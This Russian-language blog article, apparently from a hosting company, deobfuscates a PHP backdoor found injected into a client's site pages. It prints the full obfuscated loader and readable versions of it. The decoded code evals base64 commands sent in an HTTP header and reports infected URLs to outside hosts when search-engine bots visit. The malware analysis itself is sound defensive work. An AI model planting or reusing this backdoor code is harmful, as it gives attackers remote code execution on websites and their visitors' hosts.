Как стать автором
Поиск
Написать публикацию
Обновить

Деобфускация одного зловредного кода

Время на прочтение14 мин
Количество просмотров37K
Новый клиент захотел перенести свой сайт, состоящий из сотен статичных страничек на систему управления контентом, а заодно и к нам на хостинг. Прежде чем переносить сайт была проведена беглая проверка и обнаружен код, находящийся в начале каждой страницы:

/*versio:2.19*/$QQO0=95850;if (!function_exists('QQ00OOO0')){$GLOBALS['QQO0'] = 'AsY3VybAaX2luaXQWywYWxsb3dfdXJsX2ZvcGVu?#MQ(G~aHR0cDovLwwVeJndheT1maWxlX2dldF9jb250ZW50cw_=X3NldG9wdATX2V4ZWMqJndheT1jdXJssyiuQLwZOHhb3Nvbi5pbghP%cnllcGR4LmNvbQ{cGhwYWlkZS5jb20_k!dwWV8zOgNtYZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9ytZnRwMTMdIMi4xOQUU9PMDBPUVFRUTAXfHYmFzZTY0X2RlY29kZQeLF~XsYmFzZTY0X2VuY29kZQVGSFRUUFMemoLb2ZmaHR0cHM6Ly8Mp*vo&SFRUUF9IT1NUDE^.dW5pb24$c2VsZWN0^{&UkVRVUVTVF9VUkkDGU0NSSVBUX05BTUUqNctUVVFUllfU1RSSU5HPwGNSL3RtcC8uZm9udC11bml4NmsL3RtcC8uSUNFLXVuaXgdtVE1QAYVEVNUA_SVE1QRElSL3RtcAqT^dXBsb2FkX3RtcF9kaXI(dG1wOd3AtY29udGVudC91cGxvYWRzVnd3AtY29udGVudC9jYWNoZQZmLgT?admVyc2lvNLQILXBocAWSFRUUF9FWEVDUEhQpb3V0jb2sTSFRUUF9VU0VSX0FHRU5Uc%LAF*Z29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgZiL3BnLnBocD91PQ!Jms9AJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYyMXYya2dRL2lzYkZFVzI1UHE4TmdaeU9aOUFMV2tzNVhBZ3BGTFZJb3ZDMGxnMWRtU2JTNnNvLy8xbTlvVmRFcE83Z3crWW5kbDVuMmZHMllaWUoydTJ5UXEydGpwcjFyQnFteFhMcHF3NnR2MUVOcnRpMVdSbFFVeEt1bUhseGpxTll4cm51VVBPVG1OS2FSeVRpRXp1cnE5dDhrVDB5VFpiVldXVGJablZWRHRtWDVDS05idXFJS1lJT0gzV21yNnpacFBsREloNVRQUFlJYWRUejB1U3FZMWk0VU1waUozeXM4U3pmSWYwNEQ0d3d3Y1ZTaDUzejNIdWtENXdETE1pUzJ2V1dIc0NCWXJ2MlE2aFFNNGdEcHpsZXd1TFRTSkRaWmZDb2EzZHBORVFEY2FiNmFvc0dsWTB0UmJSN1lFQ3p5WXVrUTdoay9ESTFUSkRVQlNBb24xOHBHaU1ETXRyaHVhcENLWHNaMWFEQ3VrenB1bDBPazFBRnJnL2xLY1dCZ1drZy96V29GQnVGUVlPdE1TdGdhT2VMME1uQlZsU2pVUGUzODJ1azV0NUNqOE8rWit1VWdvQ3FHKy9LZmhxUFBvd25qbWJKZmorSnVOc1BMK2JUZWF6MGVUMkVpN0lJanZPL3o2WlRNYnY1L1A0cjNGeU4zZElLSXBIVnV0UWhrUGRRMUdyWFpXbnE3eXNtWEdLK1dEYmgrYVhKUzlERnJRWTdhc2ZPQVQ0bjNWYU9ZOUtLNjhoM2dPb2ZGT1hxeC9sQXl0MDdRODhyUC9FbTNvSlBrdzllQlpHb3dXcWY3aVlIQ1RUTnVYa3NEL0JwYzNEanRlUGJPRE94L0djUE1sTVBaODlMbjlGYUFscnlOVjhmdk1iZGIydjFkZmlxcXliMzhtVE5PMFpqenE4eUpLcEtMS2JxNXMwdVRYcXgrOWpvN2g0L21rOHU0MlRTWXZ1dTVwVjcwYmZvV2xRdUJER2hTc0ZqL2VJQmlkdkFKRDB6eVpuWjhSNkFUamtuU2IvQWRib1NMa1ljZWhad3hqcUR6Z1dEVGN5MzN0OGd1QWtZQnQ0eVg0KzVPV2FXWjI5alk0U0NYeTdBaUZHY24veEZycWhzMjNMUGNISGRlSVhxeVBudFRDcXF1VXZBNGVDZ0xlVzBXeVVkMXYzNEtpSFhSMWlaKzNSOUxIS0dpeGNvSHVlYzhwNVBZZ0NMeC80QXdTQUwxRjBra25MNjU5enBBUDI0VVlKNGxmMmdpNTByQVJGK3JMWFgrNGFTRGluZXRNcGR4bXVKaUNTcmU1THcvWUIyQjdZcm1RMHFtZ1E4aXFTRjEwZXZ3N1BVZ3VpSTdTYzI2THN4VlRUVk44RGQyaFBBcjRvZHkvU1pMOG40QTdyQmFEUW9BU2huREpUN3FSQjZZcUlTMUppa2hEUzZVQm9RdHd3U0lOQWtVUXpSUzhoVkxSM1Z2TmlTbS9ITStpZkwzdW13QXZRMG9VdDh6Zzh6a0pPREVBSWFOY2hYVnYwd0tIZWdBNUFNWlhaazJRM3FwdXFLZlB5a1ZXdFNqQXVnT1JZNVp1eVlzdlZQUlJWaW1peXJJbk1aUFNuVGprYUN5SWZ5dHFTaDdyWWdwQ2l4WWlqS09HTHZMNklXc0JVVGNUanNpRDJnLzhtNnhtc3NrNk9ocnJ2OFFRdnhMdy9UdWZENHpWNTBCZGtUR2hiQ0x0ZWo5Zms0dC9FdStZQzR2dllFakJkMzVJb1VpbjZIS1lXbExwS2E1dWhlejlGY1FBS1JjUHRPbFNUeUpWTjRVcVFsNTNBU3hnK09ZM1dXVlVzQVhYVDlESytIcWVwN1g2SVp6QnBrOWxuMEhZem1vM2drZmZKVkFDcGdEalRxNzdjeC9SUnFQcTV6ZEUreFdwZUhDSDJzV1VGY1R6NWRPVGFJUVdSWnRCK1IwblRSK2NCSGpuazlkSVk0dDRFVnR1T0NvNUdzeEJUMTIybm9QdnRwQkIwK1Q2UURocE5SaEpiRGJjVzJBUkZoNTJveFVRYzhveFMwYyt0S1JHcmI1MGl3aSsvOGMzYnVNbHQ0ZXNoUDd3ZzMwRC9qLzNFYXJZUDBXdUQrMkx5eTBxNmVJRlNIVndyMHMvcDZHNSsxVmxFa1dSVE0wRWgvRkRPRGkxMjRHT0NISVhRaHNKenFvWUVncnBKNkdLYTFMNkVteFJBa2dUcnRvYnNlVlEySkU0OTl2Y3lWN2RBeHR2bTlSQkREd1p5RDFFbXNEbXF3dExlV0I1L1ZBRVhyemtRUWE2cktYZXJlL0dYdjYyczh0MmFwV1d4WXVwUUFOOFRVZjA4aE0yVUZTdmNLdVNSbkRZZWI3RGgyK2pkay8xMmdONXF1OUZjWGI0RG1FNWhOWWF3WmNqS3c0WDJOYmFEQ2M2ZWVoSkZsM3lUbC9QS2NKVy92UERGMDF4ZCsvd2RvWXNKNVg3cGhQYjlFSU9zU3NzZ0JPSzE0blVOOUx1K3ZNS3JSZ3o0bk8vRHhyc21MbDZ3c09uWHpZc1hLWGsrckh6NC9nTW1uZzRIIikpKTscRcHJlZ19yZXBsYWNl';function QQ00OOO0($a, $b){$c=$GLOBALS['QQO0']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QQQ00QOO0 = QQ00OOO0(3375, 16);$QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0");};

Нужно привести код к нормальному виду и выяснить что же он делает:
$QQO0=95850;
if (!function_exists('QQ00OOO0')) {
	$GLOBALS['QQO0'] = 'длинная строка в base64';
	function QQ00OOO0($a, $b){
		$c=$GLOBALS['QQO0']; 
		$d=pack('H*','6261736536345f6465636f'.'6465'); 
		return $d(substr($c, $a, $b));
	};
	$QQQ00QOO0 = QQ00OOO0(3375, 16);
	$QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0");
};

Всё правильно, даже зловредный код не должен выдавать ошибок, поэтому злоумышленник проверяет, не определена ли ранее функция QQ00OOO0.
pack('H*','6261736536345f6465636f'.'6465')

это всего лишь base64_decode. Поэтому функция QQ00OOO0 берет кусок нашей длинной-длиной строки, обрезает его в соответствии с входными параметрами и декодирует из base64.
Теперь нам ясно, что
$QQQ00QOO0 = QQ00OOO0(3375, 16);

— preg_replace.
QQ00OOO0(746, 2627) из нашей длинной строки вырезает подстроку и получает
eval(gzuncompress(base64_decode("eJyVV21v2kgQ/isbFEW25Pq8NgZyOZ9ALWks5XAgpFLVIovC0lg1dmSbS6so//1m9oVdEpO7gw+Yndl5n2fG2YZYJ2u2yQq2tjpr1rBqmxXLpqw6tv1ENrti1WRlQUxKumHlxjqNYxrnuUPOTmNKaRyTiEzurq9t8kT0yTZbVWWTbZnVVDtmX5CKNbuqIKYIOH3Wmr6zZpPlDIh5TPPYIadTz0uSqY1i4UMpiJ3ys8SzfIf04D4wwwcVSh53z3HukD5wDLMiS2vWWHsCBYrv2Q6hQM4gDpzlewuLTSJDZZfCoa3dpNEQDcab6aosGlY0tRbR7YECzyYukQ7hk/DI1TJDUBSAon18pGiMDMtrhuapCKXsZ1aDCukzpul0Ok1AFrg/lKcWBgWkg/zWoFBuFQYOtMStgaOeL0MnBVlSjUPe382uk5t5Cj8O+Z+uUgoCqG+/KfhqPPownjmbJfj+JuNsPL+bTeaz0eT2Ei7IIjvO/z6ZTMbv5/P4r3FyN3dIKIpHVutQhkPdQ1GrXZWnq7ysmXGK+WDbh+aXJS9DFrQY7asfOAT4n3VaOY9KK68h3gOofFOXqx/lAyt07Q88rP/Em3oJPkw9eBZGowWqf7iYHCTTNuXksD/Bpc3DjtePbODOx/GcPMlMPZ89Ln9FaAlryNV8fvMbdb2v1dfiqqyb38mTNO0Zjzq8yJKpKLKbq5s0uTXqx+9jo7h4/mk8u42TSYvuu5pV70bfoWlQuBDGhSsFj/eIBidvAJD0zyZnZ8R6ATjknSb/AdboSLkYcehZwxjqDzgWDTcy33t8guAkYBt4yX4+5OWaWZ29jY4SCXy7AiFGcn/xFrqhs23LPcHHdeIXqyPntTCqquUvA4eCgLeW0WyUd1v34KiHXR1iZ+3R9LHKGixcoHuec8p5PYgCLx/4AwSAL1F0kknL659zpAP24UYJ4lf2gi50rARF+rLXX+4aSDinetMpdxmuJiCSre5Lw/YB2B7YrmQ0qmgQ8iqSF10evw7PUguiI7Sc26LsxVTTVN8Dd2hPAr4ody/SZL8n4A7rBaDQoAShnDJT7qRB6YqIS1JikhDS6UBoQtwwSINAkUQzRS8hVLR3VvNiSm/HM+ifL3umwAvQ0oUt8zg8zkJODEAIaNchXVv0wKHegA5AMZXZk2Q3qpuqKfPykVWtSjAugORY5ZuyYsvVPRRVimiyrInMZPSnTjkaCyIfytqSh7rYgpCixYijKOGLvL6IWsBUTcTjsiD2g/8m6xmssk6Ohrrv8QQvxLw/TufD4zV50BdkTGhbCLtej9fk4t/Eu+YC4vvYEjBd35IoUin6HKYWlLpKa5uhez9FcQAKRcPtOlSTyJVN4UqQl53ASxg+OY3WWVUsAXXT9DK+Hqep7X6IZzBpk9ln0HYzmo3gkffJVACpgDjTq77cx/RRqPq5zdE+xWpeHCH2sWUFcTz5dOTaIQWRZtB+R0nTR+cBHjnk9dIY4t4EVtuOCo5GsxBT122noPvtpBB0+T6QDhpNRhJbDbcW2ARFh52oxUQc8oxS0c+tKRGrb50iwi+/8c3buMlt4eshP7wg30D/j/3EarYP0WuD+2Lyy0q6eIFSHVwr0s/p6G5+1VlEkWRTM0Eh/FDODi124GOCHIXQhsJzqoYEgrpJ6GKa1L6EmxRAkgTrtobseVQ2JE499vcyV7dAxtvm9RBDDwZyD1EmsDmqwtLeWB5/VAEXrzkQQa6rKXere/GXv62s8t2apWWxYupQAN8TUf08hM2UFSvcKuSRnDYeb7Dh2+jdk/12gN5qu9FcXb4DmE5hNYawZcjKw4X2NbaDCc6eehJFl3yTl/PKcJW/vPDF01xd+/wdoYsJ5X7phPb9EIOsSssgBOK14nUN9Lu+vMKrRgz4nO/DxrsmLl6wsOnXzYsXKXk+rHz4/gMmng4H")));

Как мы видим, в итоге все сводится к выполнению кода, полученного выше. Попробуем разобрать что же делает этот код.
Вот что мы получим после декодирования:
if (!defined("determinator")){ function determinator_feof($II1Ill, &$I111II = NULL) { $I111II = microtime(true); return feof($II1Ill); } function getfile($IlI1lI, $Q00OOQ){ $IIII11 = QQ00OOO0(2, 6); $IllllI = $IIII11.QQ00OOO0(9, 7); @ini_set(QQ00OOO0(19, 20), 1); if (@ini_get(QQ00OOO0(19, 20)) == QQ00OOO0(41, 2)) { $I111I1=@file_get_contents(QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(59, 30)); return $I111I1; } elseif (function_exists($IllllI)){ $QQOQQ0 = @$IllllI(); $Q0000O = $IIII11.QQ00OOO0(91, 10); $I1I1II = $IIII11.QQ00OOO0(102, 7); @$Q0000O($QQOQQ0, CURLOPT_URL, QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(110, 12)); @$Q0000O($QQOQQ0, CURLOPT_HEADER,false); @$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); @$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); $Il11II = @$I1I1II($QQOQQ0); @curl_close($QQOQQ0); if (empty($Il11II)){$Il11II = QQ00OOO0(123, 0);} return $Il11II; } else { $II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = QQ00OOO0(123, 0); $I111II = NULL; @fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); $QOQ00O = PHP_OS.QQ00OOO0(127, 2).PHP_VERSION; @fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode("\r\n\r\n", $Ill111); unset($Q0OQOQ[0]); return implode("\r\n\r\n", $Q0OQOQ); } } } $Il1lll = Array(QQ00OOO0(133, 10), QQ00OOO0(146, 14), QQ00OOO0(161, 15)); function write($QOO000,$QQ00O0){ if ($Q00QOO=@fopen($QOO000,QQ00OOO0(179, 2))){ @fwrite($Q00QOO,$QQ00O0); @fclose($Q00QOO); } } function output($Q000QQ, $Q0QQ0O){ echo QQ00OOO0(181, 3).$Q000QQ.QQ00OOO0(185, 2).$Q0QQ0O."\r\n"; } @ini_set(QQ00OOO0(190, 19), 0); define(QQ00OOO0(209, 16), 1); $Q00OO0=QQ00OOO0(226, 7); $I11III=QQ00OOO0(235, 6); $QQ00QO=QQ00OOO0(241, 15); $QQ00OO=QQ00OOO0(259, 18); $Q0QQOQ=QQ00OOO0(283, 18); $IlI1lI=QQ00OOO0(46, 10); if (isset($_SERVER[QQ00OOO0(303, 7)])){ if (@$_SERVER[QQ00OOO0(303, 7)] != QQ00OOO0(314, 4)){ $IlI1lI=QQ00OOO0(318, 11); } } $IlI1lI.=strtolower(@$_SERVER[QQ00OOO0(335, 12)]); foreach ($_GET as $Q000QQ=>$Q0QQ0O){ if (strpos($Q0QQ0O,QQ00OOO0(351, 7))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} elseif (strpos($Q0QQ0O,QQ00OOO0(359, 8))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} } if(!isset($_SERVER[QQ00OOO0(370, 15)])) { $_SERVER[QQ00OOO0(370, 15)] = @$_SERVER[QQ00OOO0(387, 15)]; if(@$_SERVER[QQ00OOO0(406, 16)]) { $_SERVER[QQ00OOO0(370, 15)] .= QQ00OOO0(422, 2) . @$_SERVER[QQ00OOO0(406, 16)]; } } if ($QOQQO0=$IlI1lI.@$_SERVER[QQ00OOO0(370, 15)]){ $IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); $IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; $QQQQOQ = Array( QQ00OOO0(427, 20), QQ00OOO0(450, 19), @$_SERVER[QQ00OOO0(471, 4)], @$_SERVER[QQ00OOO0(477, 6)], @$_ENV[QQ00OOO0(471, 4)], @$_ENV[QQ00OOO0(485, 8)], @$_ENV[QQ00OOO0(477, 6)], QQ00OOO0(493, 6), @ini_get(QQ00OOO0(502, 19)), $IIIIl1.QQ00OOO0(522, 4), $IIIIl1.QQ00OOO0(527, 24), $IIIIl1.QQ00OOO0(553, 22), ); foreach ($QQQQOQ as $I1I1lI){ if (!empty($I1I1lI)){ $I1I1lI.=DIRECTORY_SEPARATOR; if (@is_writable($I1I1lI)){ $IIIIl1 = $I1I1lI; break; } } } $tmp=$IIIIl1.QQ00OOO0(577, 2).$IlIlll; if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ echo "\r\n"; @output(QQ00OOO0(582, 8), $I11III.QQ00OOO0(591, 2).$Q00OO0.QQ00OOO0(594, 6)); if ($QO0QQQ=$QQ00OO(@$_SERVER[QQ00OOO0(601, 16)])){ @eval($QO0QQQ); echo "\r\n"; @output(QQ00OOO0(618, 4), QQ00OOO0(623, 3)); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $QOQQO0=@urlencode($QOQQO0); $Q0Q0OQ = @strtolower(@$_SERVER[QQ00OOO0(627, 20)]); foreach (explode(QQ00OOO0(649, 2), QQ00OOO0(653, 55)) as $I1l11I){ if (strpos($Q0Q0OQ, $I1l11I)!==False){ if (@touch($tmp)){ $Q00OOQ = QQ00OOO0(710, 14).$QOQQO0.QQ00OOO0(725, 4).$IlIlll.QQ00OOO0(730, 12).$Q00OO0.QQ00OOO0(742, 4).$I11III; $I11lII = getfile($Il1lll[0], $Q00OOQ); @touch($tmp); } break; } } } } }

Понятного стало еще меньше, однако попробуем выяснить что же делает данный код. Нужно его отформатировать и сделать самое простое, что мы можем сделать: все вызовы QQ00OOO0(число, число) заменить строками, которые выдает данная функция.
Мы становимся на шаг ближе к тому, что же делает этот исходный код:
<?php 
if (!defined("determinator")){ 
	function determinator_feof($II1Ill, &$I111II = NULL) { 
		$I111II = microtime(true); 
		return feof($II1Ill); 
	} 
	function getfile($IlI1lI, $Q00OOQ){ 
		"curl" = curl; 
		$IllllI = "curl"."_init"; 
		@ini_set("allow_url_fopen", 1); 
		if (@ini_get("allow_url_fopen") == "1") { 
			$I111I1=@file_get_contents("http://" . $IlI1lI . $Q00OOQ. "&way=file_get_contents"); 
			return $I111I1; 
		} elseif (function_exists($IllllI)){ 
			$QQOQQ0 = @$IllllI(); 
			$Q0000O = "curl"."_setopt"; 
			$I1I1II = "curl"."_exec"; 
			@$Q0000O($QQOQQ0, CURLOPT_URL, "http://" . $IlI1lI . $Q00OOQ. "&way=curl"); 
			@$Q0000O($QQOQQ0, CURLOPT_HEADER,false); 
			@$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); 
			@$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); 
			$Il11II = @$I1I1II($QQOQQ0); 
			@curl_close($QQOQQ0); 
			if (empty($Il11II)){
				$Il11II = "";
			} 
		return $Il11II; 
	} else { 
		$II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); 
		if ($II1Ill) { 
			$Ill111 = ""; 
			$I111II = NULL; 
			@fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); 
			$QOQ00O = PHP_OS."/".PHP_VERSION; 
			@fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); 
			while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ 
				$Ill111 .= @fgets($II1Ill, 128); 
			} @fclose($II1Ill); 
			$Q0OQOQ = explode("\r\n\r\n", $Ill111); 
			unset($Q0OQOQ[0]); 
			return implode("\r\n\r\n", $Q0OQOQ); 
		} 
	} 
} 
$Il1lll = Array("oson.in", "ryepdx.com", "phpaide.com"); 

function write($QOO000,$QQ00O0){ 
	if ($Q00QOO=@fopen($QOO000,"w")){ 
		@fwrite($Q00QOO,$QQ00O0); 
		@fclose($Q00QOO); 
	} 
} 

function output($Q000QQ, $Q0QQ0O) { 
	echo "Y_".$Q000QQ.":".$Q0QQ0O."\r\n"; } 
	@ini_set("display_errors", 0); 
	define("determinator", 1); 
	$Q00OO0="ftp13"; 
	$I11III="2.19"; 
	$QQ00QO="QOO00OQQQQ0"; 
	$QQ00OO="base64_decode"; 
	$Q0QQOQ="base64_encode"; 
	$IlI1lI="http://"; 
	if (isset($_SERVER["HTTPS"])){ 
		if (@$_SERVER["HTTPS"] != "off"){ 
			$IlI1lI="https://"; 
		} 
	} 
	$IlI1lI.=strtolower(@$_SERVER["HTTP_HOST"]); 
	foreach ($_GET as $Q000QQ=>$Q0QQ0O){ 
		if (strpos($Q0QQ0O,"union")){
			$_GET[$Q000QQ]="";
		} elseif (strpos($Q0QQ0O,"select")){
			$_GET[$Q000QQ]="";
		} 
	} 
	if(!isset($_SERVER["REQUEST_URI"])) { 
		$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"]; 
		if(@$_SERVER["QUERY_STRING"]) { 
			$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"]; 
		} 
	} 
	if ($QOQQO0=$IlI1lI.@$_SERVER["REQUEST_URI"]){ 
		$IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); 
		$IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; 
		$QQQQOQ = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $IIIIl1."tmp", $IIIIl1."wp-content/uploads", $IIIIl1."wp-content/cache", ); 
		foreach ($QQQQOQ as $I1I1lI){ 
			if (!empty($I1I1lI)){ 
				$I1I1lI.=DIRECTORY_SEPARATOR; 
				if (@is_writable($I1I1lI)){ 
					$IIIIl1 = $I1I1lI; break; 
				} 
			} 
		} 
		$tmp=$IIIIl1.".".$IlIlll; 
		if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ 
			echo "\r\n"; 
			@output("versio", $I11III."-".$Q00OO0."-php"); 
			if ($QO0QQQ=$QQ00OO(@$_SERVER["HTTP_EXECPHP"])){ 
				@eval($QO0QQQ); 
				echo "\r\n"; 
				@output("out", "ok"); 
			} 
			exit(0); 
		} 
		
		if (@is_file($tmp)){ 
			@touch($tmp); 
			@include_once($tmp); 
		} else{ 
			$QOQQO0=@urlencode($QOQQO0); 
			$Q0Q0OQ = @strtolower(@$_SERVER["HTTP_USER_AGENT"]); 
			foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $I1l11I){ 
				if (strpos($Q0Q0OQ, $I1l11I)!==False){ 
					if (@touch($tmp)){ 
						$Q00OOQ = "/pg.php?u=".$QOQQO0."&k=".$IlIlll."&t=php&p=".$Q00OO0."&v=".$I11III; 
						$I11lII = getfile($Il1lll[0], $Q00OOQ); 
						@touch($tmp); 
					} 
					break; 
				} 
			} 
		} 
	} 
}


Теперь нам необходимо заменить переменные вида $I1l11I на более понятные. В некоторых местах это сделать не получится, но тем не менее мы поймем что же в итоге делает скрипт. Некоторые переменные, например, $Q00OO0 — просто строки, поэтому их вхождения нужно найти и заменить их значением. Вот что получилось в итоге:

if (!defined("determinator")) {
	
	function determinator_feof($II1Ill, &$microtime = NULL) {
		$microtime = microtime(true);
		return feof($II1Ill);
	}
	
	function getfile($domain, $strURL) {
		@ini_set("allow_url_fopen", 1);
		if (@ini_get("allow_url_fopen") == "1") {
			$I111I1=@file_get_contents("http://" . $domain . $strURL. "&way=file_get_contents");
			return $I111I1;
		} elseif (function_exists("curl_init")){
			$objCURL = @curl_init();
			@curl_setopt($objCURL, CURLOPT_URL, "http://" . $domain . $strURL. "&way=curl");
			@curl_setopt($objCURL, CURLOPT_HEADER,false);
			@curl_setopt($objCURL, CURLOPT_RETURNTRANSFER,true);
			@curl_setopt($objCURL, CURLOPT_CONNECTTIMEOUT, 5);
			$objCURLResult = @curl_exec($objCURL);
			@curl_close($objCURL);
			if (empty($objCURLResult)){
				$objCURLResult = "";
			}
			return $objCURLResult;
		} else {
			$II1Ill = @fsockopen($domain, 80, $QO0Q0O, $QQ0QO0, 5);
			if ($II1Ill) {
				$Ill111 = "";
				$microtime = NULL;
				@fputs($II1Ill, "GET {$strURL}&way=socket HTTP/1.0\r\nHost: {$domain}\r\n");
				$QOQ00O = PHP_OS."/".PHP_VERSION;
				@fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n");
				while(!determinator_feof($II1Ill, $microtime) && (microtime(true) - $microtime) < 2){
					$Ill111 .= @fgets($II1Ill, 128);
				} @fclose($II1Ill);
				$Q0OQOQ = explode("\r\n\r\n", $Ill111);
				unset($Q0OQOQ[0]);
				return implode("\r\n\r\n", $Q0OQOQ);
			}
		}
	}
	
	$arrSites = Array("oson.in", "ryepdx.com", "phpaide.com");

	function write($strFile,$strDataToWrite){
		if ($objFileDescriptor=@fopen($strFile,"w")){
			@fwrite($objFileDescriptor,$strDataToWrite);
			@fclose($objFileDescriptor);
		}
	}

	function output($strGETKey, $strGETValue) {
		echo "Y_".$strGETKey.":".$strGETValue."\r\n"; 
	}
	
	@ini_set("display_errors", 0);
	define("determinator", 1);
	if (isset($_SERVER["HTTPS"])){
		if (@$_SERVER["HTTPS"] != "off"){
			$strHost="https://";
		}
	}
	$strHost.=strtolower(@$_SERVER["HTTP_HOST"]);
	foreach ($_GET as $strGETKey=>$strGETValue){
		if (strpos($strGETValue,"union")){
			$_GET[$strGETKey]="";
		} elseif (strpos($strGETValue,"select")){
			$_GET[$strGETKey]="";
		}
	}
	if(!isset($_SERVER["REQUEST_URI"])) {
		$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
		if(@$_SERVER["QUERY_STRING"]) {
			$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
		}
	}
	if ($strFullURL="http://".@$_SERVER["REQUEST_URI"]) {
		$strExploitedServerID=@md5("http://"."2.19".PHP_OS."QOO00OQQQQ0");
		$strScriptDirectory=dirname(__FILE__).DIRECTORY_SEPARATOR;
		$arrPotentiallyVulnDirectories = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $strScriptDirectory."tmp", $strScriptDirectory."wp-content/uploads", $strScriptDirectory."wp-content/cache", );
		foreach ($arrPotentiallyVulnDirectories as $strPotentiallyVulnDirectory){
			if (!empty($strPotentiallyVulnDirectory)){
				$strPotentiallyVulnDirectory.=DIRECTORY_SEPARATOR;
				if (@is_writable($strPotentiallyVulnDirectory)){
					$strScriptDirectory = $strPotentiallyVulnDirectory; 
					break;
				}
			}
		}
		
		$tmp=$strScriptDirectory.".".$strExploitedServerID;
		if (@$_SERVER["HTTP_Y_AUTH"]==$strExploitedServerID){
			echo "\r\n";
			@output("versio", "2.19"."-"."ftp13"."-php");
			if ($strCommand = base64_decode(@$_SERVER["HTTP_EXECPHP"])){
				@eval($strCommand);
				echo "\r\n";
				@output("out", "ok");
			}
			exit(0);
		}

		if (@is_file($tmp)){
			@touch($tmp);
			@include_once($tmp);
		} else{
			$strFullURL=@urlencode($strFullURL);
			$strUserAgent = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
			foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $strSearchEngineAgent){
				if (strpos($strUserAgent, $strSearchEngineAgent)!==False){
					if (@touch($tmp)){
						$strURL = "/pg.php?u=".$strFullURL."&k=".$strExploitedServerID."&t=php&p="."ftp13"."&v="."2.19";
						$I11lII = getfile($arrSites[0], $strURL);
						@touch($tmp);
					}
					break;
				}
			}
		}
	}
}


Итак, нам стало ясно, что же делает данный скрипт: if (!defined(«determinator»)) { — простой аналог include_once, так как плохие люди, видимо, не хотят, чтобы из-за выдачи ошибок их деятельность была видна.
В скрипте используются несколько служебных функций (чтение/скачивание файла и запись в файл), при этом getfile вначале пытается получить содержимое через file_get_contents, в случае неудачи через curl и в самом крайнем случае через сокеты.
В $arrSites хранится список сайтов, откуда скрипт получает данные, при этом владельцу ботнета сообщается о зараженном сайте как только на него придет робот одной из поисковых систем.
Если же скрипт для выполнения уже есть, то он выполняется без каких-либо проверок.
В итоге мы получили скрипт, который может выполнять полученные команды от ботовода и скачивать файлы.
PS: уже после деофускации я нашел исходный код этого зловреда — gist.github.com/ryepdx/5016252.
Теги:
Хабы:
Всего голосов 82: ↑65 и ↓17+48
Комментарии11

Публикации

Ближайшие события